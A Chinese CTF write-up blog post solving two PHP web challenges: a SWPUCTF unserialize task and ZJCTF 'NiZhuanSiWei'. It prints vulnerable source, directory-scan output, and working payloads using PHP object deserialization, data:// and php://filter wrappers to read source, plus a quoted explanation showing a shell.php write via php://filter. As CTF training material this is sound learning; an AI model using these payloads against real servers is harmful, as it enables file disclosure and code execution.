[SWPUCTF 2021 新生赛]ez_unserialize 没想到我也有能秒反序列化的一天,还以为永远入不了门了 拿到题目发现只有一个静态页面 然后dirsearch扫
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 [13:31:24] Starting: [13:31:28] 403 - 309B - /.ht_wsr.txt [13:31:28] 403 - 312B - /.htaccess.bak1 [13:31:28] 403 - 312B - /.htaccess.save [13:31:28] 403 - 314B - /.htaccess.sample [13:31:28] 403 - 310B - /.htaccess_sc [13:31:28] 403 - 313B - /.htaccess_extra [13:31:28] 403 - 312B - /.htaccess.orig [13:31:28] 403 - 310B - /.htaccessBAK [13:31:28] 403 - 312B - /.htaccess_orig [13:31:28] 403 - 310B - /.htaccessOLD [13:31:28] 403 - 311B - /.htaccessOLD2 [13:31:28] 403 - 302B - /.htm [13:31:28] 403 - 303B - /.html [13:31:28] 403 - 312B - /.htpasswd_test [13:31:28] 403 - 309B - /.httr-oauth [13:31:28] 403 - 308B - /.htpasswds [13:31:45] 200 - 0B - /flag.php [13:31:56] 200 - 35B - /robots.txt [13:31:57] 403 - 311B - /server-status [13:31:57] 403 - 312B - /server-status/
直接访问flag.php无果, 访问robots.txt
notice robots大概作用应该是用来告诉搜索引擎不能爬取哪些页面,没有强制性作用
在robots里发现/cl45s.php 访问得到源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 <?php error_reporting (0 );show_source ("cl45s.php" );class wllm { public $admin ; public $passwd ; public function __construct ( ) { $this ->admin ="user" ; $this ->passwd = "123456" ; } public function __destruct ( ) { if ($this ->admin === "admin" && $this ->passwd === "ctf" ){ include ("flag.php" ); echo $flag ; }else { echo $this ->admin; echo $this ->passwd; echo "Just a bit more!" ; } } }$p = $_GET ['p' ];unserialize ($p );
写了个payload,一次成功
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 <?php error_reporting (0 );show_source ("cl45s.php" );class wllm { public $admin ; public $passwd ; public function __construct ( ) { $this ->admin ="user" ; $this ->passwd = "123456" ; } public function __destruct ( ) { if ($this ->admin === "admin" && $this ->passwd === "ctf" ){ include ("flag.php" ); echo $flag ; }else { echo $this ->admin; echo $this ->passwd; echo "Just a bit more!" ; } } }$p = $_GET ['p' ];unserialize ($p );$a =new wllm ();$a ->admin="admin" ;$a ->passwd="ctf" ;echo serialize ($a );?>
直接get传得到flag
1 /?p=O:4:"wllm":2:{s:5:"admin";s:5:"admin";s:6:"passwd";s:3:"ctf";}
[ZJCTF 2019]NiZhuanSiWei 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 <?php $text = $_GET ["text" ];$file = $_GET ["file" ];$password = $_GET ["password" ];if (isset ($text )&&(file_get_contents ($text ,'r' )==="welcome to the zjctf" )){ echo "<br><h1>" .file_get_contents ($text ,'r' )."</h1></br>" ; if (preg_match ("/flag/" ,$file )){ echo "Not now!" ; exit (); }else { include ($file ); $password = unserialize ($password ); echo $password ; } }else { highlight_file (__FILE__ ); }?>
没看懂为啥get传好像传不进去 去看大佬的wp
https://www.nssctf.cn/note/set/3017
原来是这里
1 (file_get_contents ($text ,'r' )==="welcome to the zjctf" )
file_get_contents() file_get_contents() 函数在 PHP 中用于读取文件内容或获取远程资源的内容。 它可以读取通过 GET 方法传入的 URL 或文件路径,但不能直接读取通过 GET 方法传入的字符串参数。
所以像这样传入字符串是没用的
1 ?text=welcome to the zjctf
法一:
通过data://伪协议,让字符串传递进去。这里传递纯文本,payload:text=data://text/plain,welcome to the zjctf
法二: 通过php://input伪协议构造POST请求,传进去的字符串就放在post请求的payload上
我是选法一了,毕竟直接在url上就能完成 data:// 协议: data:// 协议允许你通过数据 URI 来访问数据。你可以将数据直接嵌入到 URL 中,而不需要创建一个实际的文件。 例如:
1 2 3 4 5 6 7 8 <?php echo file_get_contents ('data://text/plain;base64,SSBsb3ZlIFBIUAo=' );?>
这样就能传入welcome to the zjctf了
接下来
1 2 3 if (preg_match ("/flag/" ,$file )){ echo "Not now!" ; exit ();
检查$file变量中是否包含字符串”flag”。
preg_match(“/flag/“,$file):使用正则表达式匹配$file中是否包含”flag”。
如果匹配到”flag”,输出”Not now!”并终止脚本执行。
由于并不是过滤字符,没法用双写绕过了
这样先看下面,有提示一个useless.php
根据反序列化代码我们可以推测题目想让我们构造反序列化POC触发useless.php里面的类, 要想构造POC我们得知道这个类长什么样, 于是问题的矛盾指向了useless.php的源码, 这里只能通过php://filter/convert.base64-encode/resource=useless.php来查看加密后的源码(不加密会被当成php执行)
1 http://n ode4.anna.nssctf.cn:28681 /?text=data:// text/plain,welcome%2 0to%2 0the%20zjctf &file=php:// filter/read =convert.base64-encode/resource=useless.php
得到useless.php得内容
1 2 3 4 5 6 7 8 9 10 11 12 13 <?php class Flag { public $file ; public function __tostring ( ) { if (isset ($this ->file)){ echo file_get_contents ($this ->file); echo "<br>" ; return ("U R SO CLOSE !///COME ON PLZ" ); } } } ?>
那么最后就有:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 <?php $text = $_GET ["text" ];$file = $_GET ["file" ];$password = $_GET ["password" ];if (isset ($text )&&(file_get_contents ($text ,'r' )==="welcome to the zjctf" )){ echo "<br><h1>" .file_get_contents ($text ,'r' )."</h1></br>" ; if (preg_match ("/flag/" ,$file )){ echo "Not now!" ; exit (); }else { include ($file ); $password = unserialize ($password ); echo $password ; } }class Flag { public $file ; public function __tostring ( ) { if (isset ($this ->file)){ echo file_get_contents ($this ->file); echo "<br>" ; return ("U R SO CLOSE !///COME ON PLZ" ); } } } else { highlight_file (__FILE__ ); }$a =new Flag ;$a ->file=flag.php;echo serialize ($a );?>
最后poc出了password的payload,
1 O:4:"Flag":1:{s:4:"file";s:7:"flagphp";}
但是传进去后只回显了个
1 2 3 4 5 6 welcome to the zjctf oh u find it U R SO CLOSE
最后去看别人的wp才知道flag就包含在这个页面下,按f12就能看到了😅 最终payload
1 ?text =data://text /plain,welcome%20to %20the %20zjctf &file=useless.php&password=O:4 :"Flag" :1 :{s:4 :"file" ;s:8 :"flag.php" ;}
总结 这题我就只会最后构造反序列化的poc了 但也是学到了php伪协议的东西
notice01 KIMI:逐部分解析 include: include 是 PHP 中的一个语句,用于动态包含另一个文件的内容到当前脚本中。 如果被包含的文件中包含 PHP 代码,这些代码会被执行。 php://filter: php://filter 是一个伪协议,允许开发者在读取或写入数据时应用过滤器。它可以在数据流打开时对数据进行处理。 convert.base64-encode: 这是一个过滤器,表示对数据进行 Base64 编码。Base64 编码是一种将二进制数据转换为 ASCII 字符串的方法,常用于在需要以文本形式传输二进制数据的场景。 resource=useless.php: resource 参数指定了要处理的文件路径,这里是 useless.php。这意味着过滤器将应用于 useless.php 文件的内容。
php://filter 是 PHP 中一种独特的伪协议,它允许开发者在数据读取或写入过程中应用过滤器,从而实现对数据的处理。它是一种元封装器,设计用于数据流打开时的筛选过滤应用。这对于一体式(all-in-one)的文件函数非常有用,例如 readfile()、file() 和 file_get_contents(),在数据流内容读取之前没有机会应用其他过滤器。
php://filter 协议的一般语法为:
过滤器分类 字符串过滤器:以 string 开头,对数据进行字符串处理,如 rot13、toupper、tolower、strip_tags 等。 转换过滤器:以 convert 开头,对数据进行编码转换,如 Base64 编码、解码,Quoted-Printable 编码、解码,iconv 字符编码转换等。 压缩过滤器:如 zlib.deflate(压缩)、zlib.inflate(解压)、bzip2.compress(压缩)、bzip2.decompress(解压)等。 加密过滤器:如 mcrypt.* 和 mdecrypt.*,用于数据的加密和解密。不过,这个特性已自 PHP 7.1.0 起废弃,强烈建议不要使用。
示例 读取文件并进行 Base64 编码:
1 2 echo file_get_contents ("php://filter/convert.base64-encode/resource=index.php" ); 这行代码会读取 index.php 文件的内容,并将其进行 Base64 编码后输出。
1 2 3 file_put_contents ("php://filter/write=convert.base64-decode/resource=shell.php" , base64_encode ("<?php phpinfo(); ?>" )); 这行代码会将 Base64 编码的字符串写入 shell.php 文件, 并在写入前进行 Base64 解码,最终 shell.php 文件中将包含原始的 <?php phpinfo (); ?> 代码。